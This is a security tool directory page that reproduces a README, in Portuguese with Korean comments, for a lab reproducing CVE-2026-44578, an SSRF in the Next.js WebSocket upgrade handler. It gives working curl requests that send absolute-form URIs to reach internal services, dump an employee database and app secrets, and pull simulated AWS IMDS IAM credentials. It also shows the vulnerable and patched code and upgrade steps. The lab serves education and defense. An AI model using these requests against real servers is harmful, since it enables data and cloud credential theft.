Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44578 — Exploit de prova de conceito para CVE-2026-44578 que reproduz a condição vulnerável, permitindo que pesquisadores de segurança validem sistemas afetados e avaliem mitigações. | Kitploit
Ferramentas/GitHubGitHub/lxxexxbxx/cve-2026-44578
Análise de VulnerabilidadesExploraçãoAtaque Adversário
GitHublxxexxbxx/cve-2026-44578

CVE-2026-44578

Exploit de prova de conceito para CVE-2026-44578 que reproduz a condição vulnerável, permitindo que pesquisadores de segurança validem sistemas afetados e avaliem mitigações.

Ver Repositório
149há 3 mesesAinda não revisado
Compartilhar

CVE-2026-44578 — Laboratório de SSRF no Manipulador de Upgrade WebSocket do Next.js

Projeto CERT da Security Academy Ambiente prático de reprodução de vulnerabilidades para demonstração de mentores


Visão geral

ItemContent
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS8.6 (High)
CWECWE-918 (Server-Side Request Forgery)
Affected versionsNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4
Patched versions15.5.16+, 16.2.5+
Authentication requiredNone (Unauthenticated)

Vulnerabilidade em que o manipulador de upgrade WebSocket do Next.js (upgradeHandler) faz proxy, sem validação, de uma
URI em forma absoluta (RFC 7230 §5.3.2) inserida na linha de requisição HTTP para um serviço interno.
É possível enviar requisições HTTP arbitrárias a serviços internos inacessíveis externamente (SSRF).


Arquitetura do laboratório

[공격자]
    │
    │  WebSocket Upgrade 요청
    │  GET http://internal-svc/api/v1/employees HTTP/1.1
    │  Connection: Upgrade  /  Upgrade: websocket
    ▼
[nextjs-vuln :3000]  ← 외부 노출
    │
    │  무검증 프록시 (proxyRequest)
    ▼
[internal-svc :80]   ← 내부망 전용, 외부 직접 접근 불가
    │
    ├── GET /api/v1/employees   → 사원 DB (이름·이메일·연봉·pw_hash)
    ├── GET /api/v1/config      → DB 패스워드·JWT 시크릿·Redis 패스워드
    └── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)

docker-compose ├── nextjs-vuln (Next.js 15.5.0, versão vulnerável) └── internal-svc (FastAPI + SQLite, exclusivo da rede interna)


Configuração e execução do ambiente

Pré-requisitos

  • Docker 24+
  • Docker Compose v2

Execução

git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build

Após a conclusão do build, leva de 30 a 60 segundos até que o Next.js esteja pronto.
Verificação de prontidão:

curl -s http://localhost:3000/api/hello | grep ok

Reprodução da vulnerabilidade (PoC)

Fluxo do ataque

Uma requisição HTTP normal inclui apenas o caminho no formato GET /path HTTP/1.1,
mas a RFC 7230 §5.3.2 permite o absolute-form, que insere a URL completa na linha de requisição.

GET http://internal-svc/api/v1/employees HTTP/1.1 ← URI em forma absoluta Host: localhost:3000 Connection: Upgrade Upgrade: websocket

O upgradeHandler do Next.js analisa essa URL e, se parsedUrl.protocol existir,
chama proxyRequest() sem validar o destino.
A opção curl --request-target permite especificar diretamente a linha de requisição.

STEP 1 — Confirmar que o acesso direto ao serviço interno é impossível

curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)

PASSO 2 — Verificação de integridade de serviços internos via SSRF

curl -s --http1.1 \
  --request-target "http://internal-svc/health" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

PASSO 3 — Exfiltração do banco de dados de funcionários

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/employees" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

→ Retorna nome, e-mail, salário e hash bcrypt completos

STEP 4 — Roubo de configurações do aplicativo (senha do BD e segredo JWT)

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/config" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

PASSO 5 — Roubo de credenciais do AWS IMDS (2ª etapa)

# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

Funcionamento interno

Código vulnerável (router-server.js upgradeHandler)

// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) {                              // ← 목적지 검증 없음
    return await proxyRequest(req, socket, parsedUrl, head);
}

Desde que parsedUrl.protocol exista, o proxy é acionado imediatamente. Seja o host de destino um IP interno ou o
IMDS (169.254.169.254), a requisição é sempre encaminhada.

Patch oficial (15.5.16+)

// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) {                  // ← finished 가드 추가
    if (!statusCode) {
        return await proxyRequest(req, socket, parsedUrl, head);
    }
    return socket.end();
}

finished só é true quando a requisição corresponde a uma rota válida dentro de resolveRoutes.
URIs em formato absoluto não correspondem a rotas válidas, portanto finished === false → bloqueio do proxy.

Estrutura do patch de laboratório (patch-for-lab.js)

No ambiente de reprodução da vulnerabilidade, resolve-routes.js interpreta erroneamente :// como barras consecutivas e
reduz http://host/path para http:/host/path, o que bloqueia o SSRF acidentalmente.
patch-for-lab.js desativa esse comportamento para que a vulnerabilidade seja reproduzida corretamente.


Método de aplicação do patch

Método 1 — Atualização via npm (recomendado)

# 15.x 계열
npm install next@">=15.5.16"

# 16.x 계열
npm install next@">=16.2.5"

# 버전 확인
npx next --version

Método 2 — Fixação de versão do Dockerfile

RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci

Método 3 — Aplicar patch diretamente no código sem atualização de versão

Aplicar diretamente a lógica oficial do patch à versão atual usando o patch-defense.js incluído neste laboratório:

# 랩 컨테이너 내부에서
node patch-defense.js

# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check

Após a aplicação do patch, as requisições SSRF são bloqueadas sem resposta.


Estrutura de arquivos

CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # patch de resolve-routes (para reprodução de SSRF) │ ├── patch-defense.js # patch de defesa do router-server (para provar a defesa por correção de código) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # serviço interno FastAPI (SQLite + simulação de IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # script de demonstração automatizada em 6 etapas


Aviso legal

Este repositório é fornecido apenas para fins de educação em segurança e pesquisa de vulnerabilidades.
O uso para ataques não autorizados a serviços reais é ilegal,
e todos os testes devem ser realizados apenas em ambientes próprios ou com autorização explícita.

Este repositório destina-se exclusivamente a pesquisa educacional e de segurança autorizada.
O uso não autorizado contra sistemas de produção é ilegal.
Todos os testes devem ser realizados apenas em ambientes que você possui ou para os quais tem permissão explícita de testar.


Referências

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    366
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    287

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →